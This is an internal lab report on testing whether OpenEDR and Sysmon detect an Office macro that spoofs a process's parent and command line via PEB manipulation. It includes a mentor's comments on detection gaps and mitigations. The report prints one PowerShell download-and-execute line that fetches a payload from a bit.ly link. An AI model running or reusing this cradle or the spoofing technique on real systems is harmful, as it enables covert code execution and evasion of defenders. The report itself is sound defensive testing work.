Specific areas you will look into...
And explore in your test environment:
- https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ (PEB manipulation to spoof...)
- Investigate Sysmon Process Tampering to check whether it reports with such tampering (It doesn't)
- Upgrade Sysmon to v13.20 refer to the page below
YJ's Findings
Office 2013 Download Link: https://mega.nz/file/EDwAHQzT#AnEX1EA2jpq7Ez_zXAGK6gOLMYlVz_VR4CulDmzH8Cw
*Note to enable DetectOnly when installing Office
Offensive Step Documentation
VBA macro codes:
Description:
Use a VBA macro to download a payload from the Internet to spawn calc.exe with a spoofed parent i.e. explorer.exe and command line.
How is it achieved:
- Retrieve the PID of a legitimate-looking process i.e. explorer.exe
- Create a new process (such as powershell.exe) with this process as a parent, with a legitimate looking command line, and in a suspended state
- Overwrite the process command line in the PEB
- Resume the process
Execution Steps
Step 1: Create macro in MS Word.
*Note that the macro needs to be named AutoOpen so that it will run automatically when the document is opened.
Step 2: Save the file in .dotm format
Step 3: Open the file to run the macro
Observations
ODB Console:
Things to take note:
- The first red box indicates that spoofing was found. The first line "Spoof found" refers to the process denoted by a ProcessGuid string that has a spoofed or fake parent. The second line "Spoofed PPID ProcessGuid" refers to the fake parent. In this case, the attack wants defenders or forensics to believe Explorer.exe was the parent of this spoofed child process i.e. powershell.exe.
- The third box indicates that powershell.exe created calc.exe. As specified in the codes, the command line will download a PowerShell payload from the Internet and execute it:
Content of payload:
This is why we see the sequence powershell.exe > calc.exe in ODB console.
Wekan:
Looking into the Triage board in Wekan, powershell.exe was tagged with "Outbound Network Communications" and "Unusual CommandLine".
As shown under External Network Activities, powershell.exe made 2 outbound network connections on port 80 and port 443. Port 80 is used for HTTP while port 443 is used for HTTPS. Both HTTP & HTTPS are used for communication on the Internet. This indicates that powershell.exe initiated a network connection on the Internet, which is suspicious behavior when looking back at the command line used. The query used in the command line is only issued to the local machine and should not be initiating external network connections.
From the results of looking up the 2 IP addresses that powershell.exe connected to, we see that the 2 IP addresses were owned by Bitly and Github. Inside the actual command line that was used, we can see that powershell.exe accessed a bitly link which is a shortened link to gistfile1.txt stored in Github. This explains why powershell.exe made network connections to these 2 IP addresses.
The likely reason why powershell.exe is tagged with "Unusual CommandLine" is because OpenEDR has never seen this command used on the machine before i.e. new command. This would require an analyst to investigate the command line that was used. If the analyst only looks at the CommandLine field, he/she would conclude that it is a benign command. However, as mentioned above, the outbound network connections made by powershell.exe is suspicious and hence further investigation would need to be done through ODB.
OrientDB Lineage View:
Things to take note:
- Sysmon logs that explorer.exe is parent of powershell.exe. Actual parent process is actually WINWORD.exe. Instead of having a ParentOf edge to powershell.exe, WINWORD.exe has FollowedBy and LastForeground edges to powershell.exe
- Sysmon logs that the command line used is:
powershell.exe -NoExit -c Get-Service -DisplayName 'network' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName
This PowerShell command is to list running services whose name contains network. Hence, such commands are considered to be benign.
Actual command line being executed is:
powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString(‘http://bit.ly/2TxpA4h’))
- Sysmon logs that powershell.exe made 2 network connections. This is because it had to download the payload from the Internet.
No new ProcessTampering events were created after the VBA macro has been executed.
I ran the macro and calc.exe was created at 2021-06-03 13:35:00
Looking at ProcessTampering events, none were related to WINWORD.exe
Furthermore, when we look at the EventReceivedTime, we can see that no new ProcessTampering events were created i.e. no EventReceivedTime matched/was close to the time when I ran the macro.
Conclusion
From this use-case, it shows that EDR can be susceptible to spoofing attacks which alters the lineage of processes. We cannot blindly trust process creation events because there are techniques that can be used to alter the values. If we only look at the process lineage sequence on ODB console, one would think that there is no suspicious activity. Fortunately, Sysmon logs the fact that powershell.exe is making a network connection, and shortly after spawning a process i.e. calc.exe. The command line that was logged should not be making outbound network connections, hence why this can be considered as a suspicious behavior. Furthermore, if the spoof links to explorer.exe, which is a GUI shell, we should expect to see UAT events that are linked to Powershell.exe. However, no UAT events were linked as shown in the graph. It is not possible that there was no UAT events e.g. Key Pressed linked to powershell.exe because the command had to be typed out.
Jym's Comments
There are effectively 4 quadrants in this model.
PEB Manipulation is not detected by Sysmon ProcessTampering
From the screen below, we confirmed the events exist:
None are WINWORD.
Next we pull out ALL Tampered edge records for a double check, we can see none are WINWORD.exe
As a triple check, NO Tampered edge means it won't be alerted in Triage or Investigation board.
Missing Spoof Parent Edges
from a monitoring ops perspective, this becomes suspicious when it trips "Unusual Sequence" or "Unusual CommandLine" detection logic. And unfortunately in your environment, somehow TrueParentOf edge is still not linking. Which I am rather concern since I was unable to reproduce on both my Windows machines & 2 different backend environments. I would like to sort this out as there could be "edge-cases" that are rare but still possible in certain environment.I also need you to screenshot the investigation board details to show case here. Always back your statements with evidence. The graph-structural view is good, but that is more of an in-depth analysis. Before we get too deep, there are still the processes of Triage > Investigation > Drill into the details like what you did. So that is another lesson to gain from this exercise.
We have "Hind-sight Bias" because we are both the attacker & analyst who is monitoring this. We need to deal with our bias & ask if for an analyst who is NOT doing that attack, would the information presented to him or her lead her to conclude there's spoofing? In your case, there was network anomaly due to that powershell command, but that may not be always the case.
MS Office spawning child-process is NOT normal...
Why on earth Microsoft office macros need to access memory, call Win-native APIs & so on is beyond me.
So this exercise of spoofing is a good example of a practical payload that can spoof both lineage & commandline parameters simultaneously.
fyi, not sure if your VM is in detectOnly mode or not during the test. If it is, the child process from Office apps will be allowed executed:
The snippet above is part of DFPM.exe. In non-spoofing circumstances, child process spawned by ms-office processes will be terminated in NON-detectOnly mode. Also the fact that your screenshot showed the True PPID ProcessGuid, means the ReportSpoof is working, else backend won't show at all.
My past codes even went to the extend of stripping macro upon FileCreate. But I decided to abandon it as it was too invasive.
If you look at https://github.com/jymcheong/OpenEDRclient/blob/master/install.ps1#L211 the installation should have turned on a set of Mitigation Rules by Microsoft, which by right would stop this execution. So again, this exercise showed a payload that can circumvent these "protections". There are a few papers that tested these Mitigation Rules for finding loop holes. You are playing with 1 now.
Spoofing is not by default "bad"...
Traditional thinking or "best-practice" is to enumerate your assets, know their roles & functionalities. But this age of endpoints having significantly large attack surface, this enumeration may need to go down to know what kind of processes you have in your endpoint population because there are a number of legit apps that are spoofing parent PID. Meaning to say, spoofing in itself is not by default 'bad', because the Windows-native-Api for process create actually allows it.
Additional notes on catching spoofing with ETW: https://blog.f-secure.com/detecting-parent-pid-spoofing/
Mitigations
- email attachment filtering (weak since easy to create nested embeddings)
Both are similar outcome, which is containing the problem, yet different in their approaches:
- CDR disrupts the content.
- Remote Browsers let you view it safely & not 'detonate' in your endpoint but in their disposable sessions.
- Both does not care about the techniques involved, vis-la-vis with my implementation & Microsoft's, which are technique-specific.
If time permits, I hope you can have a go with https://www.hysolate.com , the poor man's version would be this: https://github.com/jymcheong/OpenEDR/wiki/Ring-Fencing-Adversaries-with-Win10-Pro windows home unfortunately don't have Sandbox feature.